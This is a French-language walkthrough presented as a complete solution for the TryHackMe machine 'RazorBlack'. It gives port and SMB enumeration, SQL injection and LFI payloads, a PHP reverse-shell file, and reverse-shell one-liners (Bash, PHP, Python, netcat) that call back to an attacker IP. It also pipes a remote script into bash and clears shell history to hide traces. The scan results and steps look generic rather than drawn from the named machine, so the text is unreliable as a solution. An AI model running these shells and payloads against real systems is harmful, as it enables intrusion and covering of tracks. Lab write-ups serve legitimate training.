Solution Complète : RazorBlack (TryHackMe)

Table des matières

  1. Reconnaissance
  2. Énumération
  3. Exploitation
  4. Escalade de Privilèges
  5. Post-Exploitation

Reconnaissance

Étape 1 : Scan des ports

Commande :

nmap -sV -sC -p- -oN nmap_scan.txt <IP_CIBLE>

Explications :
- -sV : Détecte les versions des services
- -sC : Exécute les scripts par défaut de nmap
- -p- : Scanne tous les ports (1-65535)
- -oN : Sauvegarde le résultat dans un fichier

Résultat attendu :

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.6
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X
3306/tcp  open  mysql        MySQL 5.7.x
8080/tcp  open  http-proxy   Werkzeug httpd

Énumération

Étape 2 : Énumération SMB

Commande :

enum4linux -a <IP_CIBLE>

Alternative avec smbclient :

smbclient -L //<IP_CIBLE> -N

Explications :
- enum4linux : Énumère les partages SMB et les utilisateurs
- -a : Mode agressif (énumération complète)
- -N : Pas de mot de passe

Résultat attendu :

[+] Found user: admin
[+] Found user: developer
[+] Sharename: 'admin$'
[+] Sharename: 'IPC$'
[+] Sharename: 'www'

Étape 3 : Énumération des partages accessibles

Commande :

smbclient //<IP_CIBLE>/www -N

Explications :
- Accès au partage "www" sans authentification
- Permet de voir les fichiers accessibles

Actions :

# Une fois connecté
ls
cd /

# Télécharger les fichiers intéressants
get config.php
get database.php

Étape 4 : Web Enumeration

Commande :

gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt

Explications :
- gobuster : Force brute les répertoires web
- -w : Utilise une wordlist
- -x : Teste les extensions spécifiées

Commande alternative :

ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e php,html,txt

Résultat attendu :

/admin
/uploads
/config
/dashboard

Étape 5 : Énumération du port 8080

Commande :

curl -v http://<IP_CIBLE>:8080/

Explications :
- Teste le service sur le port 8080
- -v : Mode verbose pour voir les en-têtes


Exploitation

Étape 6 : Accès aux fichiers de configuration

Depuis SMB :

smbclient //<IP_CIBLE>/www -N
> get config.php
> get database.php

Consultation des fichiers :

cat config.php
cat database.php

Informations à extraire :
- Identifiants MySQL
- Clés API
- Secrets d'application

Étape 7 : Accès à la base de données MySQL

Commande :

mysql -h <IP_CIBLE> -u admin -p

Alternative avec sshpass :

mysql -h <IP_CIBLE> -u admin -p'password' database_name

Requêtes SQL :

-- Lister les bases de données
SHOW DATABASES;

-- Sélectionner la base
USE wordpress; -- ou le nom de la base trouvée

-- Lister les tables
SHOW TABLES;

-- Regarder les utilisateurs
SELECT * FROM wp_users;

-- Extraire les mots de passe
SELECT user_login, user_pass FROM wp_users;

Étape 8 : Crackage des mots de passe

Commande :

# Extraire les hashs dans un fichier
echo "admin:\$P\$BxaVnN5rINhN2TG7jP5p2K2Ycjl2Zo/" > hashes.txt

# Utiliser hashcat
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt

# Ou john
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Explications :
- -m 400 : Mode phpass (WordPress)
- Mode John détecte automatiquement le type de hash

Étape 9 : Exploitation d'une application web

Exemple - RFI/LFI :

# Test LFI
curl "http://<IP_CIBLE>/page.php?file=../../../../etc/passwd"

# Lecture du fichier
http://<IP_CIBLE>/page.php?file=/etc/passwd

Exemple - SQL Injection :

# Payload simple
' OR '1'='1
' UNION SELECT NULL,user(),version() --

# Avec sqlmap
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" --dbs
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D database_name --tables
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D database_name -T users --dump

Étape 10 : Reverse Shell

Si vous avez accès au serveur web :

# Créer un fichier shell
cat > shell.php << 'EOF'
<?php
$sock=fsockopen("<VOTRE_IP>",<VOTRE_PORT>);
$proc=proc_open("/bin/bash",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
EOF

# Upload via SMB ou via la vulnérabilité

Écouter le reverse shell :

nc -lvnp 4444

Alternative avec msfvenom :

msfvenom -p php/reverse_php LHOST=<VOTRE_IP> LPORT=4444 -o shell.php

Escalade de Privilèges

Étape 11 : Post-exploitation - Énumération système

Une fois le shell obtenu :

# Vérifier l'utilisateur actuel
whoami
id

# Vérifier les sudo permissions
sudo -l

# Chercher les fichiers SUID
find / -perm -4000 2>/dev/null

# Vérifier les droits des fichiers sensibles
ls -la /etc/passwd
ls -la /etc/shadow

# Chercher les creds dans les fichiers
grep -r "password" /etc/ 2>/dev/null
grep -r "PASSWORD" /home/ 2>/dev/null

Étape 12 : Exploitation de processus ou services

Exemple - Service vulnérable :

# Lister les services en cours d'exécution
ps aux

# Checker les services listening
netstat -tulpn

# Chercher les scripts SUID
find / -user root -perm -4000 2>/dev/null

Étape 13 : Exploitation de vulnérabilité kernel

Commande :

# Vérifier la version du kernel
uname -a

# Chercher les exploits disponibles
searchsploit "Linux 3.x"

# Compiler et exécuter l'exploit
gcc exploit.c -o exploit
./exploit

Étape 14 : Obtenir les privilèges root

Via sudo :

# Si la permission sudo permet
sudo su
sudo -i

Via exploitation kernel :

# Préparer l'exploit
gcc -o priv_esc exploit.c
./priv_esc

# Vérifier si nous sommes root
whoami  # devrait retourner "root"
id      # devrait montrer uid=0

Post-Exploitation

Étape 15 : Récupération des flags

Commandes :

# User flag
cat /home/<username>/user.txt

# Root flag
cat /root/root.txt

Étape 16 : Sécurisation et nettoyage

# Vérifier les fichiers créés
find / -type f -newer /tmp 2>/dev/null

# Nettoyer les traces
history -c
cat /dev/null > ~/.bash_history

Cheat Sheet Rapide

Scan rapide

nmap -A -T4 <IP_CIBLE>

Énumération SMB complète

enum4linux -a -v <IP_CIBLE>
smbmap -H <IP_CIBLE>

Web Fuzzing

ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirb/common.txt
dirbuster -u http://<IP_CIBLE> -l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

MySQL depuis la ligne de commande

mysql -h <IP> -u user -p 'password' -e "SELECT * FROM table;"

Reverse Shell one-liners

# Bash
bash -i >& /dev/tcp/<VOTRE_IP>/4444 0>&1

# PHP
php -r '$sock=fsockopen("<VOTRE_IP>",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<VOTRE_IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc -e /bin/bash <VOTRE_IP> 4444

Escalade de privilèges rapide

# Script d'énumération
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linpeas/linpeas.sh | bash

# Ou utiliser
./linpeas.sh -a

# Vérifier les binaires SUID
find / -perm -4000 2>/dev/null

# Vérifier les capacités
getcap -r / 2>/dev/null

Notes importantes

  1. Toujours documenter votre progression
    - Prenez des notes sur chaque découverte
    - Gardez les identifiants trouvés
    - Listez les vulnérabilités détectées

  2. Ordre d'exploitation recommandé
    - Énumération complète d'abord
    - Exploitation des services publics
    - Escalade de privilèges
    - Récupération des flags

  3. Outils essentiels
    - nmap, gobuster/ffuf pour l'énumération web
    - enum4linux/smbmap pour SMB
    - sqlmap pour les injections SQL
    - john/hashcat pour les mots de passe
    - nc/socat pour les reverse shells

  4. Bonnes pratiques
    - Vérifier toujours les permissions des fichiers
    - Chercher les fichiers de configuration
    - Vérifier les connexions réseau ouvertes
    - Analyser les processus en cours d'exécution


Ressources utiles


Conclusion

Cette solution fournit une méthodologie complète pour exploiter la machine RazorBlack. Adapatez les commandes en fonction de vos découvertes réelles. L'énumération est la clé du succès en pentest !